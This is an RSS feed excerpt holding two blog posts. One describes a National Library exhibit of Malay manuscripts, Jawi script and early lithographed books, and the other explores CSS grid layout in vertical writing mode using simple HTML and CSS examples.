&lt;img srcset=&quot;/images/posts/malay-manuscripts/banner-480.png 480w, /images/posts/malay-manuscripts/banner-640.png 640w, /images/posts/malay-manuscripts/banner-960.png 960w, /images/posts/malay-manuscripts/banner-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/banner-640.png&quot; alt=&quot;Tales of the Malay World banner&quot; /&gt;
&lt;h2&gt;Some background on the Malay language&lt;/h2&gt;
&lt;p&gt;Malay had been serving as the lingua franca of the whole Malay Archipelago for many centuries. According to Teeuw (1967), inscriptions of Old Malay dating back to the second half of the 7th century have been discovered. Malay had been the official court language of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Srivijaya&quot;&gt;Shriwijaya empire&lt;/a&gt;, and it served as the language of trade amongst foreigners in the region, as well as between Indonesians of different native tongues.&lt;/p&gt;
&lt;p&gt;The exhibit opens with a bit more background about the history of the Malay language if you&apos;re interested. Also, if you can get your hands on them, I found the following books and essays by &lt;a href=&quot;https://en.wikipedia.org/wiki/A._Teeuw&quot;&gt;Andries Teeuw&lt;/a&gt; to be quite comprehensive:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://www.springer.com/la/book/9789401502504&quot;&gt;Modern Indonesian Literature&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.sabrizain.org/malaya/library/historymalaylang.pdf&quot;&gt;The history of the Malay language. A preliminary survey&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.springer.com/gp/book/9789401181570&quot;&gt;A Critical Survey of Studies on Malay and Bahasa Indonesia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The manuscripts section&lt;/h2&gt;
&lt;p&gt;We start off with manuscripts, and some of them are on loan from the British Library (well, if you&apos;re not from Southeast Asia, FYI Western Europe colonised the shit out of our region &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with rolling eyes&quot;&gt;🙄&lt;/span&gt; moving on...), while others are from the National Library&apos;s own collection. Almost all the manuscripts and books were written in the &lt;a href=&quot;https://en.wikipedia.org/wiki/Jawi_alphabet&quot;&gt;Jawi script&lt;/a&gt;.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/malay-manuscripts/jawi-480.jpg 480w, /images/posts/malay-manuscripts/jawi-640.jpg 640w, /images/posts/malay-manuscripts/jawi-960.jpg 960w, /images/posts/malay-manuscripts/jawi-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/jawi-640.jpg&quot; alt=&quot;Basics of the Jawi alphabet&quot; /&gt;
&lt;p&gt;As an aside, I had taken the Coursera MOOC on &lt;a href=&quot;https://www.coursera.org/learn/medieval-europe/home/welcome&quot;&gt;Deciphering Secrets: The Illuminated Manuscripts of Medieval Europe&lt;/a&gt; because that&apos;s my sort of thing, but I hadn&apos;t really seen illuminated manuscripts in real life. Until now. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;astonished face&quot;&gt;😲&lt;/span&gt;&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Likely produced at court due to its lavish gold decoration&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/hikayat-isma-yatim-480.jpg 480w, /images/posts/malay-manuscripts/hikayat-isma-yatim-640.jpg 640w, /images/posts/malay-manuscripts/hikayat-isma-yatim-960.jpg 960w, /images/posts/malay-manuscripts/hikayat-isma-yatim-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/hikayat-isma-yatim-640.jpg&quot; alt=&quot;Hikayat Isma Yatim&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Not every manuscript in the exhibit was illuminated, but I found the Jawi script, and Arabic scripts in general, to be extremely elegant and beautiful. It&apos;s hard to put into words, but every script feels like a different persona to me.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Story of Amir Hamzah&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/hikayat-amir-hamzah-480.jpg 480w, /images/posts/malay-manuscripts/hikayat-amir-hamzah-640.jpg 640w, /images/posts/malay-manuscripts/hikayat-amir-hamzah-960.jpg 960w, /images/posts/malay-manuscripts/hikayat-amir-hamzah-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/hikayat-amir-hamzah-640.jpg&quot; alt=&quot;Hikayat Amir Hamzah&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;To me, Han characters and the Chinese script have a balanced quality of strength and grace (that&apos;s the best translation I could muster of 柔中带刚, please offer a better one if you can). Arabic scripts are romantic and refined, sprinkled with a bit of whimsy.&lt;/p&gt;
&lt;p class=&quot;note&quot;&gt;I recently purchased a copy of &lt;a href=&quot;http://rana.im/cultural-connectives/&quot;&gt;Cultural Connectives&lt;/a&gt; by &lt;a href=&quot;http://rana.im/&quot;&gt;Rana Abou Rjeily&lt;/a&gt; to learn more about the Arabic script. I highly recommend it for non-native Arabic speakers trying to start learning Arabic.&lt;/p&gt;
&lt;p&gt;Not every manuscript on display was an illuminated manuscript. Most manuscripts that were meant to be read aloud to local audiences were plain, and only those that were collected or copied for European collectors were ornately decorated.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Story of Alexander the Great, commissioned by William Farquhar&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/hikayat-raja-iskandar-zulkarnian-480.jpg 480w, /images/posts/malay-manuscripts/hikayat-raja-iskandar-zulkarnian-640.jpg 640w, /images/posts/malay-manuscripts/hikayat-raja-iskandar-zulkarnian-960.jpg 960w, /images/posts/malay-manuscripts/hikayat-raja-iskandar-zulkarnian-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/hikayat-raja-iskandar-zulkarnian-640.jpg&quot; alt=&quot;Hikayat Raja Iskandar Zulkarnian&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;But even the so-called “plain” manuscripts are beautiful because every manuscript is unique, created under the pen of their respective copyists, reflecting their individuality with every letter and flourish.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Mildly controversial (maybe?) story written by Usup ibn Abdul Kadir&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/hikayat-raja-babi-480.jpg 480w, /images/posts/malay-manuscripts/hikayat-raja-babi-640.jpg 640w, /images/posts/malay-manuscripts/hikayat-raja-babi-960.jpg 960w, /images/posts/malay-manuscripts/hikayat-raja-babi-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/hikayat-raja-babi-640.jpg&quot; alt=&quot;Hikayat Raja Babi&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Most of the manuscripts on display were Hikayat (&lt;span dir=&quot;rtl&quot; lang=&quot;ar&quot;&gt;حكاية&lt;/span&gt;), which are narrative stories, and Syair (&lt;span dir=&quot;rtl&quot; lang=&quot;ar&quot;&gt;شعير&lt;/span&gt;), which are a form of traditional Malay poetry.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Poem about a Selindung Delima&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/syair-selindung-delima-480.jpg 480w, /images/posts/malay-manuscripts/syair-selindung-delima-640.jpg 640w, /images/posts/malay-manuscripts/syair-selindung-delima-960.jpg 960w, /images/posts/malay-manuscripts/syair-selindung-delima-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/syair-selindung-delima-640.jpg&quot; alt=&quot;Syair Selindung Delima&quot; /&gt;
&lt;/figure&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Also the story of Alexander the Great, but a different copy. Belonged to Adriaan David Cornets de Groot&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/hikayat-iskandar-zulkarnain-480.jpg 480w, /images/posts/malay-manuscripts/hikayat-iskandar-zulkarnain-640.jpg 640w, /images/posts/malay-manuscripts/hikayat-iskandar-zulkarnain-960.jpg 960w, /images/posts/malay-manuscripts/hikayat-iskandar-zulkarnain-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/hikayat-iskandar-zulkarnain-640.jpg&quot; alt=&quot;Hikayat Iskandar Zulkarnain&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;One of the highlights of the exhibit (it was on the brochure!) was this huge illuminated letter from Sultan Syarif Kasim to Raffles, where the Sultan request for British support against the Sultan of Sambas. I don&apos;t know about you, but if I received a letter of this size, I&apos;d say the author really wanted to get his point across &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;face with stuck-out tongue &amp; closed eyes&quot;&gt;😆&lt;/span&gt;.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;This is one epic letter&lt;/figcaption&gt;
    &lt;img src=&quot;/images/posts/malay-manuscripts/illuminated-letter.jpg&quot; srcset=&quot;/images/posts/malay-manuscripts/illuminated-letter@2x.jpg 2x&quot; alt=&quot;Illuminated letter from Sultan Syarif Kasim to Raffles&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Another really cool manuscript I liked was &lt;em&gt;Syair Dendang Siti Fatimah&lt;/em&gt;. It takes the form of a folding book, reminiscent of Chinese folded books (折本), and is, by my estimate, at least 1.5 metres long.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;There&apos;s a lot more to this but I didn&apos;t have a wide lens&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/syair-dendang-siti-fatimah-480.jpg 480w, /images/posts/malay-manuscripts/syair-dendang-siti-fatimah-640.jpg 640w, /images/posts/malay-manuscripts/syair-dendang-siti-fatimah-960.jpg 960w, /images/posts/malay-manuscripts/syair-dendang-siti-fatimah-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/syair-dendang-siti-fatimah-640.jpg&quot; alt=&quot;Syair Dendang Siti Fatimah&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;This style of manuscript is typical of those from Thailand and Myanmar and was written in Pattani (southern Thailand). It consists of two poems: &lt;em&gt;Syair Dendang Siti Fatimah&lt;/em&gt; and &lt;em&gt;Syair Masihat Kepada Laki dan Perempuan&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;The printed works section&lt;/h2&gt;
&lt;p&gt;Malay/Muslim printing had been around in Singapore from 1860 and Singapore was an important hub for Malay literary printing. According to the exhibit, the earliest known book published by a Malay/Muslim printer in Southeast Asia is a Qur&apos;an printed in Palembang in 1854 using a lithographic press that was purchased from Singapore.&lt;/p&gt;
&lt;p&gt;Lithography was the technique of choice, and this I presume was due to the complexity of the Jawi script (Arabic scripts, in general). It served as an alternative to manuscript culture, and made printed texts more accessible to the masses.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Letterpress printed, which failed to capture the varied strokes of Jawi writing&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/malay-manuscripts/tajussalatin.jpg&quot; srcset=&quot;/images/posts/malay-manuscripts/tajussalatin@2x.jpg 2x&quot; alt=&quot;Kitab Tajussalatin&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;&lt;em&gt;Cermin Mata&lt;/em&gt;, a quarterly publication published by Benjamin Keasberry&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/malay-manuscripts/cermin-mata.jpg&quot; srcset=&quot;/images/posts/malay-manuscripts/cermin-mata@2x.jpg 2x&quot; alt=&quot;Cermin Mata&quot; /&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;&lt;em&gt;Cermin Mata&lt;/em&gt;, which is the image on the right above, is considered one of the most attractive examples of early lithographed Malay books that managed to imitate the flow of handwritten scripts and the artistic style of Malay manuscripts. Contrast that with the image on its left, which was printed by letterpress.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;This syair has a uniquely designed headpiece&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/syair-jauhar-480.jpg 480w, /images/posts/malay-manuscripts/syair-jauhar-640.jpg 640w, /images/posts/malay-manuscripts/syair-jauhar-960.jpg 960w, /images/posts/malay-manuscripts/syair-jauhar-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/syair-jauhar-640.jpg&quot; alt=&quot;Syair Jauhar&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;What really got me was how beautifully designed the layouts for these manuscripts and books were. It wasn&apos;t just all just a single rectangular block all the time.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;img class=&quot;multiple&quot; src=&quot;/images/posts/malay-manuscripts/taper.jpg&quot; srcset=&quot;/images/posts/malay-manuscripts/taper@2x.jpg 2x&quot; /&gt;
    &lt;img class=&quot;multiple&quot; src=&quot;/images/posts/malay-manuscripts/taper2.jpg&quot; srcset=&quot;/images/posts/malay-manuscripts/taper2@2x.jpg 2x&quot; /&gt;
&lt;/div&gt;
&lt;p&gt;Then again, maybe the curator just turned to those pages that were specially laid out. I&apos;m actually not sure, but point is, there were lots of creative layouts on display.&lt;/p&gt;
 &lt;figure&gt;
    &lt;figcaption&gt;Manuscripts normally don&apos;t contain illustrations but this one does&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/hikayat-dewa-mengindera-480.jpg 480w, /images/posts/malay-manuscripts/hikayat-dewa-mengindera-640.jpg 640w, /images/posts/malay-manuscripts/hikayat-dewa-mengindera-960.jpg 960w, /images/posts/malay-manuscripts/hikayat-dewa-mengindera-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/hikayat-dewa-mengindera-640.jpg&quot; alt=&quot;Hikayat Dewa Mengindera&quot; /&gt;
&lt;/figure&gt;
&lt;figure&gt;
    &lt;figcaption&gt;This was printed by a Chinese printer&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/hikayat-sultan-bustamam-480.jpg 480w, /images/posts/malay-manuscripts/hikayat-sultan-bustamam-640.jpg 640w, /images/posts/malay-manuscripts/hikayat-sultan-bustamam-960.jpg 960w, /images/posts/malay-manuscripts/hikayat-sultan-bustamam-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/hikayat-sultan-bustamam-640.jpg&quot; alt=&quot;Hikayat Sultan Bustamam&quot; /&gt;
&lt;/figure&gt;
&lt;h2&gt;Qur&apos;ans&lt;/h2&gt;
&lt;p&gt;The Qur&apos;an is the central text of the Islamic religion, which Muslims believe to be the last revealed word of Allah and is widely regarded as the finest work in classical Arabic literature.&lt;/p&gt;
&lt;p&gt;According to the exhibit, Qur&apos;ans all over the world, if decorated, would have the decorations at the beginning of the book. But Qur&apos;ans found in Southeast Asia feature three decorated double pages - at the beginning, middle and end of the book.&lt;/p&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Beginning of the Surat al-Kahf&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/malay-manuscripts/quran.jpg&quot; srcset=&quot;/images/posts/malay-manuscripts/quran@2x.jpg 2x&quot; alt=&quot;Qur&apos;an&quot; /&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;Juz&apos; markers in the margins&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/malay-manuscripts/quran2.jpg&quot; srcset=&quot;/images/posts/malay-manuscripts/quran2@2x.jpg 2x&quot; alt=&quot;Qur&apos;an&quot; /&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;The following Qur&apos;an is possibly the second-earliest lithographed Qur&apos;an printed in Singapore, and it too contains three decorated double pages at the beginning, middle and end. The double pages are coloured in by hand over the printed design.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Beginning of Surah Al-Isra&apos;&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/malay-manuscripts/quran-480.jpg 480w, /images/posts/malay-manuscripts/quran-640.jpg 640w, /images/posts/malay-manuscripts/quran-960.jpg 960w, /images/posts/malay-manuscripts/quran--1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/malay-manuscripts/quran-640.jpg&quot; alt=&quot;Printed Qur&apos;an&quot; /&gt;
&lt;/figure&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;If you&apos;re interested in typography and calligraphy, or the culture of Southeast Asia, or the history of the Malay Archipelago, or even if you just happen to be in town (maybe for &lt;a href=&quot;https://2018.jsconf.asia/&quot;&gt;JSConf.Asia&lt;/a&gt; or some &lt;a href=&quot;https://singaporecss.github.io/24/&quot;&gt;CSS-related event&lt;/a&gt;), drop by the National Library and take a look.&lt;/p&gt;
&lt;p&gt;It&apos;s definitely one of my favourites and I didn&apos;t even have to pay for it. Free admissions! I would have gladly paid to get in, seriously, and I&apos;m the most cheapskate person I know &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;ROFL&quot;&gt;🤣&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Anyway, here&apos;s &lt;a href=&quot;https://www.openstreetmap.org/way/44414539&quot;&gt;the location of library&lt;/a&gt; if you need directions. If you did go after reading this, &lt;a href=&quot;https://twitter.com/hj_chen&quot;&gt;tweet at me&lt;/a&gt; and let me know if you liked it as much as I did, if you want to. I mean, you do you, right?&lt;/p&gt;
</content:encoded></item><item><title>Notes on vertical writing and CSS grid</title><link>https://chenhuijing.com/blog/notes-on-vertical-writing-and-grid/</link><guid isPermaLink="true">https://chenhuijing.com/blog/notes-on-vertical-writing-and-grid/</guid><description>When I was working out the kinks in my year-old vertical typesetting demo, I attempted to use CSS grid as one of the options for handling layout, but didn&apos;t…</description><pubDate>Tue, 12 Dec 2017 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When I was &lt;a href=&quot;/blog/vertical-typesetting-revisited/&quot;&gt;working out the kinks&lt;/a&gt; in my year-old vertical typesetting demo, I attempted to use CSS grid as one of the options for handling layout, but didn&apos;t get very far, because at that point, my brain had pretty much melted down &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;confused face&quot;&gt;😕&lt;/span&gt;. But I&apos;m on a plane now, surrounded by people who are staring at code, so I felt sort of motivated to do something useful as well.&lt;/p&gt;
&lt;p&gt;The thing I want to work out is how CSS grid works when the writing mode is vertical, and how that affects Firefox&apos;s Grid Inspector as well. Since I wrote a reasonably in-depth post on the Firefox Grid Inspector, I figured I&apos;d better understand it as thoroughly as I could.&lt;/p&gt;
&lt;p&gt;Demo and observation time!&lt;/p&gt;
&lt;h2&gt;Basic setup&lt;/h2&gt;
&lt;p&gt;I started off with the most basic of markup structures. Because reduced test case. My original intention was to use grid for laying out a figure with multiple images and a caption.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;!-- Stuff that goes in &amp;lt;head&amp;gt; --&amp;gt;
  &amp;lt;/head&amp;gt;

  &amp;lt;body&amp;gt;
    &amp;lt;figure&amp;gt;
      &amp;lt;img src=&amp;quot;img/listen.svg&amp;quot; /&amp;gt;
      &amp;lt;img src=&amp;quot;img/read.svg&amp;quot; /&amp;gt;
      &amp;lt;figcaption&amp;gt;This is a test&amp;lt;/figcaption&amp;gt;
    &amp;lt;/figure&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Basic markup structure (vertical-rl on html element)&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/grid-vertical/markup-480.jpg 480w, /images/posts/grid-vertical/markup-640.jpg 640w, /images/posts/grid-vertical/markup-960.jpg 960w, /images/posts/grid-vertical/markup-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-vertical/markup-640.jpg&quot; alt=&quot;Basic markup structure&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;I didn&apos;t know how grid rows and grid columns would work in vertical mode, so let&apos;s take a look at the specification.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There are two sets of grid lines: one set defining columns that run along the block axis (the column axis), and an orthogonal set defining rows along the inline axis (the row axis).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I interpret this as, when the document has been set to &lt;code&gt;vertical-rl&lt;/code&gt;, grid columns run top-to-bottom while grid rows run right-to-left like so:&lt;/p&gt;
&lt;img style=&quot;max-height:15em;&quot; src=&quot;/images/posts/grid-vertical/grid-lines.svg&quot; alt=&quot;Vertical writing-mode grid lines&quot; /&gt;
&lt;p&gt;Let&apos;s see if that&apos;s the case by creating a layout with the &lt;code&gt;figure&lt;/code&gt; element as the grid container. I want the 2 images to stack on top of each other, and the caption to stretch the length below (i.e. to the left) both images.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;html {
  writing-mode: vertical-rl;
}

figure {
  display: grid;
  grid-template-columns: 1fr 1fr;
  grid-template-rows: max-content min-content;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s visualise my target end-result and their corresponding line numbers.&lt;/p&gt;
&lt;img style=&quot;max-height:15em;&quot; src=&quot;/images/posts/grid-vertical/simple.svg&quot; alt=&quot;Basic grid layout&quot; /&gt;
&lt;p&gt;There seems to be some issues with the Grid Inspector tool here. I guess we&apos;ll be flying blind from here on out.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Something doesn&apos;t seem quite right here...&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/grid-vertical/problem-480.jpg 480w, /images/posts/grid-vertical/problem-640.jpg 640w, /images/posts/grid-vertical/problem-960.jpg 960w, /images/posts/grid-vertical/problem-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-vertical/problem-640.jpg&quot; alt=&quot;Grid inspector tool issue&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Before I started using the Grid Inspector tool, I would apply borders to the grid items. It wasn&apos;t the best solution, because I couldn&apos;t actually see the grid tracks, but it&apos;d have to do for now.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Borders, borders everywhere!&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/grid-vertical/borders-480.jpg 480w, /images/posts/grid-vertical/borders-640.jpg 640w, /images/posts/grid-vertical/borders-960.jpg 960w, /images/posts/grid-vertical/borders-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-vertical/borders-640.jpg&quot; alt=&quot;Borders around grid items&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;Okay, this reduced test case looks like Grid is working just fine in vertical writing-mode. So this is the code that will give me the layout I wanted in my earlier write-up (ignore the &lt;code&gt;border&lt;/code&gt; code).&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;figure {
  display: grid;
  grid-template-columns: 1fr 1fr;
  grid-template-rows: max-content min-content;
  justify-items: center;
  border: 2px dashed green;
}

img {
  border: 2px dashed blue;
}

figcaption {
  border: 2px dashed red;
  grid-column: span 2;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Here we go&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/grid-vertical/aligned-480.png 480w, /images/posts/grid-vertical/aligned-640.png 640w, /images/posts/grid-vertical/aligned-960.png 960w, /images/posts/grid-vertical/aligned-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/grid-vertical/aligned-640.png&quot; alt=&quot;Aligned grid items&quot; /&gt;
&lt;/figure&gt;
&lt;h2&gt;Expanded test case&lt;/h2&gt;
&lt;p&gt;Now, to see if this plays nice with nested &lt;code&gt;writing-mode&lt;/code&gt;. Like I mentioned in the earlier post, I seem to be quite the stickler for punishment &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;. &lt;em&gt;Spoiler alert: it wasn&apos;t painful at all.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I copied over the content from that demo, and rewrote the markup to make the figures flatten out. So the markup for each figure was changed like so:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;!-- Non-grid version --&amp;gt;
&amp;lt;figure&amp;gt;
  &amp;lt;figcaption&amp;gt;最早的視覺傳達方式基本都是利用圖形進行的。這是北美印地安在史前的岩洞壁畫&amp;lt;/figcaption&amp;gt;
  &amp;lt;div class=&amp;quot;img-wrapper img-double&amp;quot;&amp;gt;
    &amp;lt;img src=&amp;quot;img/pictograms-1.jpg&amp;quot; /&amp;gt;
    &amp;lt;img src=&amp;quot;img/pictograms-1.jpg&amp;quot; /&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/figure&amp;gt;

&amp;lt;!-- Grid version --&amp;gt;
&amp;lt;figure class=&amp;quot;img-double&amp;quot;&amp;gt;
  &amp;lt;figcaption&amp;gt;最早的視覺傳達方式基本都是利用圖形進行的。這是北美印地安在史前的岩洞壁畫&amp;lt;/figcaption&amp;gt;
  &amp;lt;img src=&amp;quot;img/pictograms-1.jpg&amp;quot; /&amp;gt;
  &amp;lt;img src=&amp;quot;img/pictograms-1.jpg&amp;quot; /&amp;gt;
&amp;lt;/figure&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Grid rows and grid columns do respect the writing mode of the document, even if the writing mode is nested to high heaven. Which meant that I could make the layout code apply to the relevant elements generally, and adjust for direction (left/right, width versus top/bottom, height) when those states were toggled.&lt;/p&gt;
&lt;p&gt;In fact, I&apos;m thinking that once we have &lt;a href=&quot;https://www.w3.org/TR/css-logical-1/&quot;&gt;CSS logical properties&lt;/a&gt;, I won&apos;t even have to have two sets of directional properties. That would be awesome!&lt;/p&gt;
&lt;p&gt;The classes on each figure were to deal with if the figure had 1 image or 2 images. So for single image figures, the image just spanned 2 columns instead. The layout code for each figure looks like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;figure {
  display: grid;
  grid-template-columns: 1fr 1fr;
  grid-template-rows: min-content max-content;
  justify-items: center;
  align-items: center;
}

figcaption {
  grid-column: span 2;
}

.img-single img {
  grid-column: span 2;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And the toggled versus un-toggled states looked like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.c-switcher__checkbox:checked ~ main {
  figure {
    margin-left: 1em;
    max-height: 30em;
    margin-top: auto;
    margin-bottom: auto;
  }

  .img-single img {
    max-height: 20em;
  }
}

.c-switcher__checkbox:not(:checked) ~ main {
  figure {
    margin-bottom: 1em;
    max-width: 30em;
    margin-left: auto;
    margin-right: auto;
  }

  .img-single img {
    max-width: 20em;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I kinda like it. So TIL, the issue isn&apos;t with writing-mode, it&apos;s with the Grid Inspector tool, but knowing Mozilla, the team is already working on the problem. Source code for the grid version of the demo &lt;a href=&quot;https://github.com/huijing/demos/tree/master/grids-vertical&quot;&gt;on GitHub&lt;/a&gt;, and &lt;a href=&quot;https://huijing.github.io/demos/grids-vertical/&quot;&gt;live version viewable here&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot; data-lang=&quot;en-gb&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;YES! I wish I were there with you. Tomorrow. :D &lt;br&gt;&lt;br&gt;We *have* to sit around and hack on demos this week. :D &lt;br&gt;&lt;br&gt;Also, our Grid Inspector doesn’t properly work w/ non-horizontal LTR writing modes yet, but the team is on it. We should track down the engineers working on it this week.&lt;/p&gt;&amp;mdash; Jen Simmons (@jensimmons) &lt;a href=&quot;https://twitter.com/jensimmons/status/940455924111630336?ref_src=twsrc%5Etfw&quot;&gt;12 December 2017&lt;/a&gt;&lt;/blockquote&gt;
